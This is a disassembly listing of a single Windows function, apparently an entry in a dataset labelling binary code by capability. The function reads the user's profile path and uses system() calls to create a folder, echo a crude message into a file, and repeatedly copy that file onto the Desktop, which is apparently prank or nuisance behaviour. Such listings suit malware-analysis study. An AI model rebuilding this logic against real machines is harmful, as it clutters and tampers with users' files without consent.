Function at 0x14001f153
Capabilities:
Execute command
Query environment variable

Disassembly:
jmp 0x14003a100
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x7d8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x15e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x7f8]
mov rax, qword [0x1400720c0]
xor rax, rbp
mov qword [rbp + 0x7a8], rax
lea rcx, [0x14007e10d]
call fcn.14001f35b
lea rcx, str.USERPROFILE
call qword [sym.imp.ucrtbased.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.14001e8cf
nop
lea rdx, str.Desktop
lea rcx, [rbp + 8]
call fcn.14001e1c2
lea r8, [0x1400666fc]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x3e8]
call fcn.14001ef50
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
mov qword [rbp + 0x760], rax
mov r8, qword [rbp + 0x7d8]
mov rdx, qword [rbp + 0x760]
lea rcx, [rbp + 0x48]
call fcn.14001e6d6
nop
lea rcx, [rbp + 0x3e8]
call fcn.14001e3e3
lea r8, [rbp + 8]
lea rdx, str.if_not_exist__
lea rcx, [rbp + 0x428]
call fcn.14001e0d2
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
mov qword [rbp + 0x760], rax
lea r8, str.__mkdir__
mov rdx, qword [rbp + 0x760]
lea rcx, [rbp + 0x468]
call fcn.14001f1bc
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
mov qword [rbp + 0x770], rax
lea r8, [rbp + 8]
mov rdx, qword [rbp + 0x770]
lea rcx, [rbp + 0x4a8]
call fcn.14001e6d6
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov qword [rbp + 0x780], rax
lea r8, [0x140066700]
mov rdx, qword [rbp + 0x780]
lea rcx, [rbp + 0x88]
call fcn.14001f1bc
nop
lea rcx, [rbp + 0x4a8]
call fcn.14001e3e3
nop
lea rcx, [rbp + 0x468]
call fcn.14001e3e3
nop
lea rcx, [rbp + 0x428]
call fcn.14001e3e3
lea rcx, [rbp + 0x88]
call fcn.14001e226
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
lea r8, [rbp + 0x48]
lea rdx, str.echo__fucked_by_memez_____
lea rcx, [rbp + 0x4e8]
call fcn.14001e0d2
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
mov qword [rbp + 0x760], rax
lea r8, [0x140066700]
mov rdx, qword [rbp + 0x760]
lea rcx, [rbp + 0xc8]
call fcn.14001f1bc
nop
lea rcx, [rbp + 0x4e8]
call fcn.14001e3e3
lea rcx, [rbp + 0xc8]
call fcn.14001e226
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov dword [rbp + 0x104], 1
jmp 0x14003a32c
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
mov eax, dword [rbp + 0x7e0]
cmp dword [rbp + 0x104], eax
jg 0x14003a5de
mov edx, dword [rbp + 0x104]
lea rcx, [rbp + 0x528]
call fcn.14001e285
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
mov qword [rbp + 0x768], rax
mov rcx, qword [rbp + 0x7d8]
call fcn.14001f090
sub rax, 4
mov r9, rax
xor r8d, r8d
lea rdx, [rbp + 0x568]
mov rcx, qword [rbp + 0x7d8]
call fcn.14001ea19
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov qword [rbp + 0x778], rax
lea r8, str._copy
mov rdx, qword [rbp + 0x778]
lea rcx, [rbp + 0x5a8]
call fcn.14001f1bc
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
mov qword [rbp + 0x790], rax
mov r8, qword [rbp + 0x768]
mov rdx, qword [rbp + 0x790]
lea rcx, [rbp + 0x5e8]
call fcn.14001e217
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
mov qword [rbp + 0x7a0], rax
lea r8, str..txt
mov rdx, qword [rbp + 0x7a0]
lea rcx, [rbp + 0x128]
call fcn.14001f1bc
nop
lea rcx, [rbp + 0x5e8]
call fcn.14001e3e3
nop
lea rcx, [rbp + 0x5a8]
call fcn.14001e3e3
nop
lea rcx, [rbp + 0x568]
call fcn.14001e3e3
nop
lea rcx, [rbp + 0x528]
call fcn.14001e3e3
lea r8, [rbp + 0x48]
lea rdx, str.copy__
lea rcx, [rbp + 0x628]
call fcn.14001e0d2
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
mov qword [rbp + 0x760], rax
lea r8, [0x140066758]
mov rdx, qword [rbp + 0x760]
lea rcx, [rbp + 0x668]
call fcn.14001f1bc
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
mov qword [rbp + 0x770], rax
lea r8, [rbp + 8]
mov rdx, qword [rbp + 0x770]
lea rcx, [rbp + 0x6a8]
call fcn.14001e6d6
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov qword [rbp + 0x780], rax
lea r8, [0x1400666fc]
mov rdx, qword [rbp + 0x780]
lea rcx, [rbp + 0x6e8]
call fcn.14001f1bc
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
mov qword [rbp + 0x790], rax
lea r8, [rbp + 0x128]
mov rdx, qword [rbp + 0x790]
lea rcx, [rbp + 0x728]
call fcn.14001e6d6
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
mov qword [rbp + 0x7a0], rax
lea r8, [0x140066700]
mov rdx, qword [rbp + 0x7a0]
lea rcx, [rbp + 0x168]
call fcn.14001f1bc
nop
lea rcx, [rbp + 0x728]
call fcn.14001e3e3
nop
lea rcx, [rbp + 0x6e8]
call fcn.14001e3e3
nop
lea rcx, [rbp + 0x6a8]
call fcn.14001e3e3
nop
lea rcx, [rbp + 0x668]
call fcn.14001e3e3
nop
lea rcx, [rbp + 0x628]
call fcn.14001e3e3
lea rcx, [rbp + 0x168]
call fcn.14001e226
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [rbp + 0x168]
call fcn.14001e3e3
nop
lea rcx, [rbp + 0x128]
call fcn.14001e3e3
jmp 0x14003a31e
lea rcx, [rbp + 0xc8]
call fcn.14001e3e3
nop
lea rcx, [rbp + 0x88]
call fcn.14001e3e3
nop
lea rcx, [rbp + 0x48]
call fcn.14001e3e3
nop
lea rcx, [rbp + 8]
call fcn.14001e3e3
lea rcx, [rbp - 0x20]
lea rdx, [0x140064530]
call fcn.14001f013
mov rcx, qword [rbp + 0x7a8]
xor rcx, rbp
call fcn.14001e974
lea rsp, [rbp + 0x7b8]
pop rdi
pop rbp
ret